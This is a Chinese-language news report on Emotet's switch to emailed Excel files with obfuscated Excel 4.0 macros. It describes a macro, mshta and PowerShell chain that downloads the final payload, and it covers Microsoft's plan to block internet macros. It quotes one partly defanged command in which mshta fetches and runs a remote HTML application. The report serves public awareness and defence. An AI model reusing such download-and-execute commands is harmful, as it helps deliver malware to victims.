目前Emotet通过恶意的Excel文件进行广泛传播

研究人员发现,臭名昭著的Emotet恶意软件又一次转换了攻击策略,此次则是通过电子邮件来传播恶意的Excel文件。

Palo Alto网络公司的研究人员观察到了这种恶意软件的全新攻击方式,他们在星期二在线发表的一份报告中写道,众所周知,为避免被检测到,这种恶意软件会修改和改变其攻击载体,这样它就可以继续进行恶意攻击。

研究人员Saqib Khanzada、Tyler Halfpop、Micah Yates和Brad Duncan写道,Emotet的新的攻击链显示,在使用Emotet有效载荷之前,攻击者使用了多种不同类型的文件以及混淆脚本进行攻击。

这种新的攻击媒介在12月21日被发现,现在仍然很活跃。通过使用社会工程学,攻击者使用电子邮件传递一个Excel文件,其中含有混淆的Excel 4.0宏代码。

研究人员写道:"当宏文件运行时,它会下载并执行一个HTML应用程序,该程序会下载PowerShell文件来检索和执行最终的Emotet有效载荷。”

不死的恶意软件

据Check Point软件公司称,Emotet在2014年作为一个银行木马开始进行攻击,并不断发展成为了一个极具威胁性的文件,而且还一度形成了一个僵尸网络,其控制的机器数量超过了150万台。被TrickBot感染的后果是银行账户被接管、巨额的电汇欺诈和勒索软件攻击。

事实上,研究人员说,在其攻击的全盛时期,Emotet造成的损失估计约为25亿美元。

然后,在2021年1月,国际执法部门合作摧毁了一个由数百个僵尸网络服务器组成的网络,Emotet因此而停止了运行。然而,去年11月,在犯罪集团TrickBot的支持下,它又重新出现,现在又成为了一种新的威胁。

自回归以来,Emotet使用了新的攻击方法,比如线程劫持以及其他类型的战术。

研究人员认为,这种技术使用了被Emotet感染的Windows主机的邮件客户端窃取合法邮件来生成伪造回复。

研究人员写道,这种方法主要包括使用链接来安装一个伪造的Adobe Windows应用程序安装包。

使用Excel宏

据安全研究人员称,Emotet使用Excel宏的感染方法也有了几种新的变化。

在某些情况下,Emotet会在电子邮件的附件中添加一个受密码保护的.ZIP文件。研究人员解释说,在其他情况下,Emotet会使用附在电子邮件中的Excel电子表格进行攻击。

研究人员概述了Emotet僵尸网络在1月27日发送的一封电子邮件,其中使用了2021年6月被盗的一个电子邮件中的信息。研究人员写道,该电子邮件使用了一个钓鱼诱饵,名为”供应商的新公告",并在其中附加了一个加密的.ZIP文件,试图以此绕过安全系统。它还提到了电子邮件中的.ZIP文件的密码,因此受害者可以查看其中的内容。

研究人员写道:"加密的.ZIP文件中包含了一个带有Excel 4.0宏的Excel文件。这些宏经常被恶意攻击者滥用。受害者必须在Windows主机上启用宏,才可以执行恶意代码"。

研究人员写道:"一旦受害者这样做了,宏代码就会执行cmd.exe来运行mshta.exe,其功能是检索和执行一个远程的HTML应用程序,下载和执行PowerShell代码。”

他们解释说:"该代码利用了十六进制编码和字符混淆,试图以此来绕过静态检测。去混淆后,程序所执行的命令字符串是:cmd /c mshta [.]168/se/s.html"。

最初的PowerShell脚本会连接到[.]168/se/s.png,这个URL会返回一个攻击脚本,该脚本主要用于第二阶段的攻击过程,检索Emotet二进制文件。

第二阶段的PowerShell代码包含了14个URL,该脚本会尝试每个URL,直到成功下载Emotet二进制文件。

研究人员说,在其攻击链中有多个URL,其目的是在其中一个URL失效的情况下保证攻击还可以进行。他们补充说,攻击链的最后阶段Emotet .DLL会从资源部分加载一个加密的PE。

微软将默认阻止Macros

上周,微软宣布了一项在一些应用程序中默认禁用所有宏的计划,同时也承认宏机制是世界上最流行的传递恶意软件的方式之一。

这家计算机巨头指出,为了保护我们的客户,我们需要使那些从互联网上获得的文件中的宏更难以启用,从互联网上获得的VBA宏现在将被默认阻止。

三个流行的Office应用程序,Word、Excel和PowerPoint,加上Access和Visio,都受到了这一计划的影响。

对于从互联网上获得的文件中的宏,用户将不再能够通过点击一个按钮来启用该内容。这种情况下更安全,也将会保证更多用户的安全,包括家庭用户和管理组织中的信息工作者。

从4月下旬开始,将不再有 "启用宏 "的按钮,而是用一个 "了解更多 "的按钮来提示用户,在他们激活文档中的宏之前,他们将会看到更多信息。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzywww.html